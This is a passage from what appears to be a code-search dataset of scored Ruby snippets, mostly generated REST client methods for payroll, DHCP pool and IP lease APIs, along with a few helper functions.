"text": "def get_employee_leaves_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollUkApi.get_employee_leaves ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollUkApi.get_employee_leaves\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollUkApi.get_employee_leaves\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/Leave'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EmployeeLeaves' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollUkApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollUkApi#get_employee_leaves\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "96635c3d5bb0f0a5c66a32ed73eabcdc",
"score": "0.49785396",
"text": "def read_dhcp_ip_pool_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.read_dhcp_ip_pool ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.read_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesDhcpApi.read_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/ip-pools/{pool-id}'.sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#read_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "342e8bd22abdeabd6ba18d0852198d8c",
"score": "0.49744946",
"text": "def list_dhcp_relays_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogicalRoutingAndServicesApi.list_dhcp_relays ...\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling LogicalRoutingAndServicesApi.list_dhcp_relays, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling LogicalRoutingAndServicesApi.list_dhcp_relays, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/dhcp/relays\"\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpRelayServiceListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogicalRoutingAndServicesApi#list_dhcp_relays\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "1e5193568991ca88a8ead939342cd9db",
"score": "0.49645635",
"text": "def get_employee_leaves_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollNzApi.get_employee_leaves ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollNzApi.get_employee_leaves\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollNzApi.get_employee_leaves\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/Leave'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EmployeeLeaves' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollNzApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollNzApi#get_employee_leaves\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2aec4d479b952477d32ba2ff5d21d3bf",
"score": "0.49624",
"text": "def leased_address\n ip = nil\n if(File.exists?(@lease_file))\n leases = File.readlines(@lease_file).map{|line| line.split(' ')}\n leases.each do |lease|\n if(lease.include?(name))\n ip = lease[2]\n end\n end\n end\n if(ip.to_s.empty?)\n nil\n else\n Chef::Log.info \"LXC Discovery: Found container address via DHCP lease: #{ip}\"\n ip\n end\n end",
"title": ""
},
{
"docid": "9e21624aa04adf058491004a0e980eaf",
"score": "0.49153352",
"text": "def get_dhcp_lease_info(server_id, opts = {})\n data, _status_code, _headers = get_dhcp_lease_info_with_http_info(server_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "9e21624aa04adf058491004a0e980eaf",
"score": "0.4913124",
"text": "def get_dhcp_lease_info(server_id, opts = {})\n data, _status_code, _headers = get_dhcp_lease_info_with_http_info(server_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "2b06a63fc9acfc30df611b8fc6f6516d",
"score": "0.48408207",
"text": "def leased_address\n ip = nil\n if(File.exists?(@lease_file))\n leases = File.readlines(@lease_file).map{|line| line.split(' ')}\n leases.each do |lease|\n if(lease.include?(name))\n ip = lease[2]\n end\n end\n end\n if(ip.to_s.empty?)\n nil\n else\n log.info \"LXC Discovery: Found container address via DHCP lease: #{ip}\"\n ip\n end\n end",
"title": ""
},
{
"docid": "5be7788f9f0ed66e83d3db0e415cd490",
"score": "0.4788043",
"text": "def get_dhcp_ip_pool_state_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.get_dhcp_ip_pool_state ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.get_dhcp_ip_pool_state\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesDhcpApi.get_dhcp_ip_pool_state\"\n end\n if @api_client.config.client_side_validation && !opts[:'barrier_id'].nil? && opts[:'barrier_id'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"barrier_id\"]\" when calling ManagementPlaneApiServicesDhcpApi.get_dhcp_ip_pool_state, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/ip-pools/{pool-id}/state'.sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'barrier_id'] = opts[:'barrier_id'] if !opts[:'barrier_id'].nil?\n query_params[:'request_id'] = opts[:'request_id'] if !opts[:'request_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConfigurationState')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#get_dhcp_ip_pool_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7ce1ed95b6b8a98b06291d570d8facc9",
"score": "0.47637942",
"text": "def list_dhcp_ip_pools_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.list_dhcp_ip_pools ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.list_dhcp_ip_pools\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_ip_pools, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_ip_pools, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPoolListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#list_dhcp_ip_pools\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7ce1ed95b6b8a98b06291d570d8facc9",
"score": "0.47637942",
"text": "def list_dhcp_ip_pools_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.list_dhcp_ip_pools ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.list_dhcp_ip_pools\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_ip_pools, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ServicesApi.list_dhcp_ip_pools, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPoolListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#list_dhcp_ip_pools\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "1818f0ec08c276373feaadc4da7d23be",
"score": "0.47634977",
"text": "def get_ippool_ip_lease_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IppoolApi.get_ippool_ip_lease_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/ippool/IpLeases'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IppoolIpLeaseResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IppoolApi.get_ippool_ip_lease_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IppoolApi#get_ippool_ip_lease_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "4cfae5b5630f1ba4a4e4ce9b2a1e5c48",
"score": "0.47397107",
"text": "def get_equipment_locator_led_by_moid(moid, opts = {})\n data, _status_code, _headers = get_equipment_locator_led_by_moid_with_http_info(moid, opts)\n data\n end",
"title": ""
},
{
"docid": "0b2751881d3aa70d5c3af3abaa4b8b5b",
"score": "0.4707058",
"text": "def list_lakes request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_lakes_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dataplex::V1::ListLakesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "c70a4a88d3eecdbdfec2ffa912d5bf43",
"score": "0.46947718",
"text": "def delete_ippool_ip_lease(moid, opts = {})\n delete_ippool_ip_lease_with_http_info(moid, opts)\n nil\n end",
"title": ""
},
{
"docid": "2fae454657d18bce93c5ef8457b2758f",
"score": "0.46526104",
"text": "def loots(opts)\n ::ApplicationRecord.connection_pool.with_connection {\n # If we have the ID, there is no point in creating a complex query.\n if opts[:id] && !opts[:id].to_s.empty?\n return Array.wrap(Mdm::Loot.find(opts[:id]))\n end\n\n # Remove path from search conditions as this won't accommodate remote data\n # service usage where the client and server storage locations differ.\n opts.delete(:path)\n search_term = opts.delete(:search_term)\n data = opts.delete(:data)\n\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n opts = opts.clone()\n opts.delete(:workspace)\n opts[:workspace_id] = wspace.id\n\n if search_term && !search_term.empty?\n column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Loot, search_term)\n results = Mdm::Loot.includes(:host).where(opts).where(column_search_conditions)\n else\n results = Mdm::Loot.includes(:host).where(opts)\n end\n\n # Compare the deserialized data from the DB to the search data since the column is serialized.\n unless data.nil?\n results = results.select { |loot| loot.data == data }\n end\n\n results\n }\n end",
"title": ""
},
{
"docid": "988d8d5a2f621ada328e9f4e7e368ba3",
"score": "0.46451232",
"text": "def list_dhcp_ip_pools_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.list_dhcp_ip_pools ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.list_dhcp_ip_pools\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesDhcpApi.list_dhcp_ip_pools, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementPlaneApiServicesDhcpApi.list_dhcp_ip_pools, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/ip-pools'.sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPoolListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#list_dhcp_ip_pools\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ef4d2ad854685022106e33454ee1203b",
"score": "0.46257952",
"text": "def get_leads_by_owner_id\n request_params = Leads::GetLeadsByOwnerIdRequestParams.new(request.message)\n request_params.validate!\n service = Leads::GetLeadsByOwnerIdService.new(request_params, nil)\n service.run!\n presenter = Leads::LeadsPresenter.new(service.result)\n presenter.generate_response\n end",
"title": ""
},
{
"docid": "762043e97221a6ef62eb5ae983f62e12",
"score": "0.46144557",
"text": "def get_equipment_locator_led_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EquipmentApi.get_equipment_locator_led_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling EquipmentApi.get_equipment_locator_led_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/equipment/LocatorLeds/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'EquipmentLocatorLed'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"EquipmentApi.get_equipment_locator_led_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EquipmentApi#get_equipment_locator_led_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "059d6ad75e639fa6956b64f7d90b735b",
"score": "0.45487353",
"text": "def get_employee_leave_balances_with_http_info(xero_tenant_id, employee_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayrollUkApi.get_employee_leave_balances ...'\n end\n # verify the required parameter 'xero_tenant_id' is set\n if @api_client.config.client_side_validation && xero_tenant_id.nil?\n fail ArgumentError, \"Missing the required parameter 'xero_tenant_id' when calling PayrollUkApi.get_employee_leave_balances\"\n end\n # verify the required parameter 'employee_id' is set\n if @api_client.config.client_side_validation && employee_id.nil?\n fail ArgumentError, \"Missing the required parameter 'employee_id' when calling PayrollUkApi.get_employee_leave_balances\"\n end\n # resource path\n local_var_path = '/Employees/{EmployeeID}/LeaveBalances'.sub('{' + 'EmployeeID' + '}', employee_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'Xero-Tenant-Id'] = xero_tenant_id\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EmployeeLeaveBalances' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"PayrollUkApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayrollUkApi#get_employee_leave_balances\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2f1a25664879846e0bda08a544faa4d3",
"score": "0.45407638",
"text": "def create_dhcp_ip_pool_with_http_info(server_id, dhcp_ip_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.create_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.create_dhcp_ip_pool\"\n end\n # verify the required parameter 'dhcp_ip_pool' is set\n if @api_client.config.client_side_validation && dhcp_ip_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'dhcp_ip_pool' when calling ServicesApi.create_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(dhcp_ip_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#create_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2f1a25664879846e0bda08a544faa4d3",
"score": "0.45407638",
